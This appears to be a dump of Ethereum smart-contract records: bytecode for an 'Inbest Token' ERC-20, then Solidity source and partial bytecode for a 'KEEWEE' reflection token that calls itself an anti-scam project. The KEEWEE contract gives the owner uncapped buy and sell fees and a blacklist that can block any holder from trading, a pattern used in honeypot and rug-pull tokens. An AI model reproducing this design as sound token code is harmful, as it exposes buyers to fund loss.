0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610311565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610377565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561037d565b3480156101dd57600080fd5b506101956104f4565b3480156101f257600080fd5b506101fb610504565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a0360043516602435610509565b34801561024157600080fd5b50610195600160a060020a03600435166105f9565b34801561026257600080fd5b506100d3610614565b34801561027757600080fd5b5061016c600160a060020a036004351660243561064b565b34801561029b57600080fd5b5061016c600160a060020a036004351660243561072c565b3480156102bf57600080fd5b50610195600160a060020a03600435811690602435166107c5565b60408051808201909152600c81527f496e6265737420546f6b656e0000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561039457600080fd5b600160a060020a0384166000908152602081905260409020548211156103b957600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156103e957600080fd5b600160a060020a038416600090815260208190526040902054610412908363ffffffff6107f016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610447908363ffffffff61080216565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610489908363ffffffff6107f016565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b390ceb251785ac719b58000081565b601281565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561055e57336000908152600260209081526040808320600160a060020a0388168452909152812055610593565b61056e818463ffffffff6107f016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600481527f4942535400000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561066257600080fd5b3360009081526020819052604090205482111561067e57600080fd5b3360009081526020819052604090205461069e908363ffffffff6107f016565b3360009081526020819052604080822092909255600160a060020a038516815220546106d0908363ffffffff61080216565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610760908363ffffffff61080216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156107fc57fe5b50900390565b60008282018381101561081157fe5b93925050505600a165627a7a723058201bd4f1cffda80c9e86570911792d5fd77bcb2e9358a57e85d81d6d4c629954620029
{"success": true, "error": null, "results": {}}
1,320
0x9f215c5d9abf9e3fba7668f31586218346a119a5
// SPDX-License-Identifier: Unlicensed /** Kiwi are best known as the significant national icon, equally cherished by all cultures in New Zealand. Kiwi are a symbol for the uniqueness of New Zealand wildlife and the value of our natural heritage The word "kiwi" often brings to mind the image of something small, brown, fuzzy, and found in the produce section of your local supermarket. But the kiwi is not a fruit—that's kiwifruit, which is native to eastern Asia! About the size of a chicken, the kiwi is a small, flightless, and nearly wingless bird found only in New Zealand. Kiwi values its territory very much — it doesn’t want other kiwis taking all the GOOD food and burrows it worked so hard to make; similarly to all the crypto investors, no one ever wants your revenue being taken away from scammers. The way Kiwi protects its own GOOD food is by producing a half scream, half whistle that also serves to scare others away and this cry sounds like “kee-wee, kee-wee,” which is how the bird got its name. The kiwi also patrols its area every night, leaving smelly droppings to mark boundaries to keep other kiwis away. The Kiwi Caw is designed to work like a Kiwi, dedicated to assisting the community to investigate the tokens / DeFi on the market. Kiwi caw will dually work in collaboration with various groups of elites who share the similar values and we are all after the scammers. https://t.me/keeweeportal https://kiwikeewee.com/ */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KEEWEE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "KEEWEE"; string private constant _symbol = "KEEWEE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e9 * 10**9; uint256 public _maxWalletSize = 2e9 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 500000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize > 500000 * 10**9 ); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610542578063dd62ed3e14610562578063ea1644d5146105a8578063f2fde38b146105c857600080fd5b8063a2a957bb146104bd578063a9059cbb146104dd578063bfd79284146104fd578063c3c8cd801461052d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104675780638f9a55c01461048757806395d89b411461020957806398a5c3151461049d57600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638203f5fe146104345780638da5cb5b1461044957600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101b65780631694505e1461027757806318160ddd146102af57806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024757600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611afb565b6105e8565b005b34801561021557600080fd5b5060408051808201825260068152654b454557454560d01b6020820152905161023e9190611bc0565b60405180910390f35b34801561025357600080fd5b50610267610262366004611c15565b610687565b604051901515815260200161023e565b34801561028357600080fd5b50601354610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b5068056bc75e2d631000005b60405190815260200161023e565b3480156102e157600080fd5b506102676102f0366004611c41565b61069e565b34801561030157600080fd5b506102c760175481565b34801561031757600080fd5b506040516009815260200161023e565b34801561033357600080fd5b50601454610297906001600160a01b031681565b34801561035357600080fd5b50610207610362366004611c82565b610707565b34801561037357600080fd5b50610207610382366004611caf565b610752565b34801561039357600080fd5b5061020761079a565b3480156103a857600080fd5b506102c76103b7366004611c82565b6107c7565b3480156103c857600080fd5b506102076107e9565b3480156103dd57600080fd5b506102076103ec366004611cca565b61085d565b3480156103fd57600080fd5b506102c760155481565b34801561041357600080fd5b506102c7610422366004611c82565b60116020526000908152604090205481565b34801561044057600080fd5b5061020761089f565b34801561045557600080fd5b506000546001600160a01b0316610297565b34801561047357600080fd5b50610207610482366004611caf565b610a57565b34801561049357600080fd5b506102c760165481565b3480156104a957600080fd5b506102076104b8366004611cca565b610ab6565b3480156104c957600080fd5b506102076104d8366004611ce3565b610ae5565b3480156104e957600080fd5b506102676104f8366004611c15565b610b23565b34801561050957600080fd5b50610267610518366004611c82565b60106020526000908152604090205460ff1681565b34801561053957600080fd5b50610207610b30565b34801561054e57600080fd5b5061020761055d366004611d15565b610b66565b34801561056e57600080fd5b506102c761057d366004611d99565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b457600080fd5b506102076105c3366004611cca565b610c07565b3480156105d457600080fd5b506102076105e3366004611c82565b610c49565b6000546001600160a01b0316331461061b5760405162461bcd60e51b815260040161061290611dd2565b60405180910390fd5b60005b81518110156106835760016010600084848151811061063f5761063f611e07565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067b81611e33565b91505061061e565b5050565b6000610694338484610d33565b5060015b92915050565b60006106ab848484610e57565b6106fd84336106f885604051806060016040528060288152602001611f4b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611393565b610d33565b5060019392505050565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161061290611dd2565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077c5760405162461bcd60e51b815260040161061290611dd2565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ba57600080fd5b476107c4816113cd565b50565b6001600160a01b03811660009081526002602052604081205461069890611407565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161061290611dd2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b815260040161061290611dd2565b6601c6bf52634000811161089a57600080fd5b601555565b6000546001600160a01b031633146108c95760405162461bcd60e51b815260040161061290611dd2565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561092e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109529190611e4c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c39190611e4c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a349190611e4c565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a815760405162461bcd60e51b815260040161061290611dd2565b601454600160a01b900460ff1615610a9857600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ae05760405162461bcd60e51b815260040161061290611dd2565b601755565b6000546001600160a01b03163314610b0f5760405162461bcd60e51b815260040161061290611dd2565b600893909355600a91909155600955600b55565b6000610694338484610e57565b6012546001600160a01b0316336001600160a01b031614610b5057600080fd5b6000610b5b306107c7565b90506107c48161148b565b6000546001600160a01b03163314610b905760405162461bcd60e51b815260040161061290611dd2565b60005b82811015610c01578160056000868685818110610bb257610bb2611e07565b9050602002016020810190610bc79190611c82565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf981611e33565b915050610b93565b50505050565b6000546001600160a01b03163314610c315760405162461bcd60e51b815260040161061290611dd2565b6601c6bf526340008111610c4457600080fd5b601655565b6000546001600160a01b03163314610c735760405162461bcd60e51b815260040161061290611dd2565b6001600160a01b038116610cd85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610612565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610612565b6001600160a01b038216610df65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610612565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ebb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610612565b6001600160a01b038216610f1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610612565b60008111610f7f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610612565b6000546001600160a01b03848116911614801590610fab57506000546001600160a01b03838116911614155b1561128c57601454600160a01b900460ff16611044576000546001600160a01b038481169116146110445760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610612565b6015548111156110965760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610612565b6001600160a01b03831660009081526010602052604090205460ff161580156110d857506001600160a01b03821660009081526010602052604090205460ff16155b6111305760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610612565b6014546001600160a01b038381169116146111b55760165481611152846107c7565b61115c9190611e69565b106111b55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610612565b60006111c0306107c7565b6017546015549192508210159082106111d95760155491505b8080156111f05750601454600160a81b900460ff16155b801561120a57506014546001600160a01b03868116911614155b801561121f5750601454600160b01b900460ff165b801561124457506001600160a01b03851660009081526005602052604090205460ff16155b801561126957506001600160a01b03841660009081526005602052604090205460ff16155b15611289576112778261148b565b47801561128757611287476113cd565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112ce57506001600160a01b03831660009081526005602052604090205460ff165b8061130057506014546001600160a01b0385811691161480159061130057506014546001600160a01b03848116911614155b1561130d57506000611387565b6014546001600160a01b03858116911614801561133857506013546001600160a01b03848116911614155b1561134a57600854600c55600954600d555b6014546001600160a01b03848116911614801561137557506013546001600160a01b03858116911614155b1561138757600a54600c55600b54600d555b610c0184848484611605565b600081848411156113b75760405162461bcd60e51b81526004016106129190611bc0565b5060006113c48486611e81565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610683573d6000803e3d6000fd5b600060065482111561146e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610612565b6000611478611633565b90506114848382611656565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114d3576114d3611e07565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561152c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115509190611e4c565b8160018151811061156357611563611e07565b6001600160a01b0392831660209182029290920101526013546115899130911684610d33565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115c2908590600090869030904290600401611e98565b600060405180830381600087803b1580156115dc57600080fd5b505af11580156115f0573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061161257611612611698565b61161d8484846116c6565b80610c0157610c01600e54600c55600f54600d55565b60008060006116406117bd565b909250905061164f8282611656565b9250505090565b600061148483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ff565b600c541580156116a85750600d54155b156116af57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116d88761182d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061170a908761188a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461173990866118cc565b6001600160a01b03891660009081526002602052604090205561175b8161192b565b6117658483611975565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117aa91815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006117d98282611656565b8210156117f65750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836118205760405162461bcd60e51b81526004016106129190611bc0565b5060006113c48486611f09565b600080600080600080600080600061184a8a600c54600d54611999565b925092509250600061185a611633565b9050600080600061186d8e8787876119ee565b919e509c509a509598509396509194505050505091939550919395565b600061148483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611393565b6000806118d98385611e69565b9050838110156114845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610612565b6000611935611633565b905060006119438383611a3e565b3060009081526002602052604090205490915061196090826118cc565b30600090815260026020526040902055505050565b600654611982908361188a565b60065560075461199290826118cc565b6007555050565b60008080806119b360646119ad8989611a3e565b90611656565b905060006119c660646119ad8a89611a3e565b905060006119de826119d88b8661188a565b9061188a565b9992985090965090945050505050565b60008080806119fd8886611a3e565b90506000611a0b8887611a3e565b90506000611a198888611a3e565b90506000611a2b826119d8868661188a565b939b939a50919850919650505050505050565b600082600003611a5057506000610698565b6000611a5c8385611f2b565b905082611a698583611f09565b146114845760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610612565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b8035611af681611ad6565b919050565b60006020808385031215611b0e57600080fd5b823567ffffffffffffffff80821115611b2657600080fd5b818501915085601f830112611b3a57600080fd5b813581811115611b4c57611b4c611ac0565b8060051b604051601f19603f83011681018181108582111715611b7157611b71611ac0565b604052918252848201925083810185019188831115611b8f57600080fd5b938501935b82851015611bb457611ba585611aeb565b84529385019392850192611b94565b98975050505050505050565b600060208083528351808285015260005b81811015611bed57858101830151858201604001528201611bd1565b81811115611bff576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c2857600080fd5b8235611c3381611ad6565b946020939093013593505050565b600080600060608486031215611c5657600080fd5b8335611c6181611ad6565b92506020840135611c7181611ad6565b929592945050506040919091013590565b600060208284031215611c9457600080fd5b813561148481611ad6565b80358015158114611af657600080fd5b600060208284031215611cc157600080fd5b61148482611c9f565b600060208284031215611cdc57600080fd5b5035919050565b60008060008060808587031215611cf957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d2a57600080fd5b833567ffffffffffffffff80821115611d4257600080fd5b818601915086601f830112611d5657600080fd5b813581811115611d6557600080fd5b8760208260051b8501011115611d7a57600080fd5b602092830195509350611d909186019050611c9f565b90509250925092565b60008060408385031215611dac57600080fd5b8235611db781611ad6565b91506020830135611dc781611ad6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e4557611e45611e1d565b5060010190565b600060208284031215611e5e57600080fd5b815161148481611ad6565b60008219821115611e7c57611e7c611e1d565b500190565b600082821015611e9357611e93611e1d565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935